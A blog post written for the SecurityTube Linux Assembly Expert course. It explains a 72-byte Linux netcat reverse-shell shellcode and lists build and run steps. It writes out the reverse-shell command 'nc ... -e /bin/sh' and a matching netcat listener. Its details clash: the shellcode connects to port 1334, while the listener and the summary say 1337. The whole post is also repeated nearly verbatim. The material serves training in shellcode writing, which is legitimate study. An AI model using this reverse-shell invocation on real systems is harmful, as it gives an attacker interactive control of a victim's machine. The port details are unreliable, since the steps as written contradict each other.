This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
GitHub Link: https://github.com/rtaylor777/nasm/blob/master/NetCatRevShell1434.nasm
Published: https://www.exploit-db.com/exploits/41509/
Number of bytes = 72
Number of nulls = 0
NetCatRevShell1434.nasm
nc 127.0.0.1 1334 -e /bin/sh
I came up with this version while doing an assignment to create a polymorphic version of a shellcode that someone else had created which did basically the same thing. As usual when creating a polymorphic version I start out by rewriting the code and making it as small as I can. Then the code invariably increases in size again while I attempt to obfuscate it (make it hard to follow).
Since this version is 72 bytes, while the original authors code was 109 bytes I thought it was worth sharing this version before I continue with my assignment.
wget https://raw.githubusercontent.com/rtaylor777/nasm/master/NetCatRevShell1434.nasm
Assuming you have the NASM assembler ( http://www.nasm.us/ ):
Assemble:
nasm -felf64 NetCatRevShell1434.nasm -o NetCatRevShell1434.o
Link:
ld NetCatRevShell1434.o -o NetCatRevShell1434
Execute:
./NetCatRevShell1434
But Wait
Before you run the shellcode you need to make sure that there is a client listening on port 1337, otherwise the shellcode will exit with an error that looks like this:
For this you can use the netcat command (nc, ncat):
nc -l -p 1337 127.0.0.1
Shellcode.c
If you missed it from my previous blog posts the shellcode.c file is auto generated by my helper scripts. See: http://a41l4.blogspot.ca/2017/02/slae-helper-scripts.html
man execve
int execve(const char *filename, char *const argv[], char *const envp[]);
execve("/bin/nc", ["/bin/nc", "127.0.0.1", "1334","-e", "/bin/sh"], null)
It's kind of like this representation above except that it is actually pointers to these strings that are passed to execve and the second parameter is actually a pointer to an array of pointers which point to the strings.
In my ExecveStack shellcode documented here: http://a41l4.blogspot.ca/2017/01/execvestack1434.html I explained what the arguments for the execve command are. The difference this time is that instead of passing null for the 2nd and 3rd argument we are going to build the array that is pointed to for the 2nd argument.
The first task is to load all of the null terminated (zero terminated) strings onto the stack (or somewhere in memory) and then save the address to those strings in various registers. This is basically what is happening from the start up to line 57.
We use these addresses to compose the null terminated array which is what is happening from lines 59 to 64. Then we load the address of the array into RSI.
So the first argument to execve is a pointer to the string "/bin/nc" and that is loaded into RDI.
RSI is loaded with a pointer to the array of arguments, the first of which also has to be the command itself which is "/bin/nc".
When we build the array on the stack addresses build from high down to low and yet we read from low addresses to high. So we have to build things backwards on the stack.
You will see this when I build the IP address on the stack, it was longer than 8 bytes so I had to split it up, putting the trailing "1" on the stack first.
Also when building the array of pointers we put the pointer to the last argument on the stack first and work backwards.
It made sense that it should be able to be smaller since netcat is handling all the networking code. The reality is that all the parameters for netcat are strings and if you even just consider the bytes used for these strings you arrive at 31 bytes not counting the code to handle them.
So why use netcat? Well actually netcat has a lot of powerful features that are on tap simply for the cost of a few bytes of parameters. Also realize that if the "nc" version of netcat doesn't have enough features, try "ncat" which is the currently developed version that is included with "nmap".
man nc
man ncat
Limitations when using netcat? Well clearly the target host has to have it installed. Not only that but some versions that are provided with various enterprise Linux distros have been recompiled to be crippled, which prevents use of the -l listen and -e execute options.
If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
GitHub Link: https://github.com/rtaylor777/nasm/blob/master/NetCatRevShell1434.nasm
Published: https://www.exploit-db.com/exploits/41509/
Number of bytes = 72
Number of nulls = 0
NetCatRevShell1434.nasm
Intro
The NetCatRevShell1434 does an execve system call to run the command:nc 127.0.0.1 1334 -e /bin/sh
I came up with this version while doing an assignment to create a polymorphic version of a shellcode that someone else had created which did basically the same thing. As usual when creating a polymorphic version I start out by rewriting the code and making it as small as I can. Then the code invariably increases in size again while I attempt to obfuscate it (make it hard to follow).
Since this version is 72 bytes, while the original authors code was 109 bytes I thought it was worth sharing this version before I continue with my assignment.
Testing
Download:wget https://raw.githubusercontent.com/rtaylor777/nasm/master/NetCatRevShell1434.nasm
Assuming you have the NASM assembler ( http://www.nasm.us/ ):
Assemble:
nasm -felf64 NetCatRevShell1434.nasm -o NetCatRevShell1434.o
Link:
ld NetCatRevShell1434.o -o NetCatRevShell1434
Execute:
./NetCatRevShell1434
But Wait
Before you run the shellcode you need to make sure that there is a client listening on port 1337, otherwise the shellcode will exit with an error that looks like this:
For this you can use the netcat command (nc, ncat):
nc -l -p 1337 127.0.0.1
Please See
If you are new to shellcode or shellcoding you should start by reading my blog post: http://a41l4.blogspot.ca/2017/01/execvestack1434.htmlShellcode.c
If you missed it from my previous blog posts the shellcode.c file is auto generated by my helper scripts. See: http://a41l4.blogspot.ca/2017/02/slae-helper-scripts.html
Understanding The Code
This is basically just another execve system call, but with some command line arguments.man execve
int execve(const char *filename, char *const argv[], char *const envp[]);
execve("/bin/nc", ["/bin/nc", "127.0.0.1", "1334","-e", "/bin/sh"], null)
It's kind of like this representation above except that it is actually pointers to these strings that are passed to execve and the second parameter is actually a pointer to an array of pointers which point to the strings.
In my ExecveStack shellcode documented here: http://a41l4.blogspot.ca/2017/01/execvestack1434.html I explained what the arguments for the execve command are. The difference this time is that instead of passing null for the 2nd and 3rd argument we are going to build the array that is pointed to for the 2nd argument.
The first task is to load all of the null terminated (zero terminated) strings onto the stack (or somewhere in memory) and then save the address to those strings in various registers. This is basically what is happening from the start up to line 57.
We use these addresses to compose the null terminated array which is what is happening from lines 59 to 64. Then we load the address of the array into RSI.
So the first argument to execve is a pointer to the string "/bin/nc" and that is loaded into RDI.
RSI is loaded with a pointer to the array of arguments, the first of which also has to be the command itself which is "/bin/nc".
When we build the array on the stack addresses build from high down to low and yet we read from low addresses to high. So we have to build things backwards on the stack.
You will see this when I build the IP address on the stack, it was longer than 8 bytes so I had to split it up, putting the trailing "1" on the stack first.
Also when building the array of pointers we put the pointer to the last argument on the stack first and work backwards.
Why Netcat
When I first tackled this assignment, despite the fact that the original shellcode that I observed was 109 bytes, I imagined that I could reduce the size enough that it would rival my RevShell1434 shellcode: http://a41l4.blogspot.ca/2017/02/assignment-2b.html which is 66 bytes with 0 nulls.It made sense that it should be able to be smaller since netcat is handling all the networking code. The reality is that all the parameters for netcat are strings and if you even just consider the bytes used for these strings you arrive at 31 bytes not counting the code to handle them.
So why use netcat? Well actually netcat has a lot of powerful features that are on tap simply for the cost of a few bytes of parameters. Also realize that if the "nc" version of netcat doesn't have enough features, try "ncat" which is the currently developed version that is included with "nmap".
man nc
man ncat
Limitations when using netcat? Well clearly the target host has to have it installed. Not only that but some versions that are provided with various enterprise Linux distros have been recompiled to be crippled, which prevents use of the -l listen and -e execute options.
Summary
The NetCatRevShell1434 when executed will connect back to a client that is listening on the IP address 127.0.0.1 and the port 1337. When the shellcode connects it will launch a /bin/sh shell and give the client access to interact with the shell.If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Comments
Post a Comment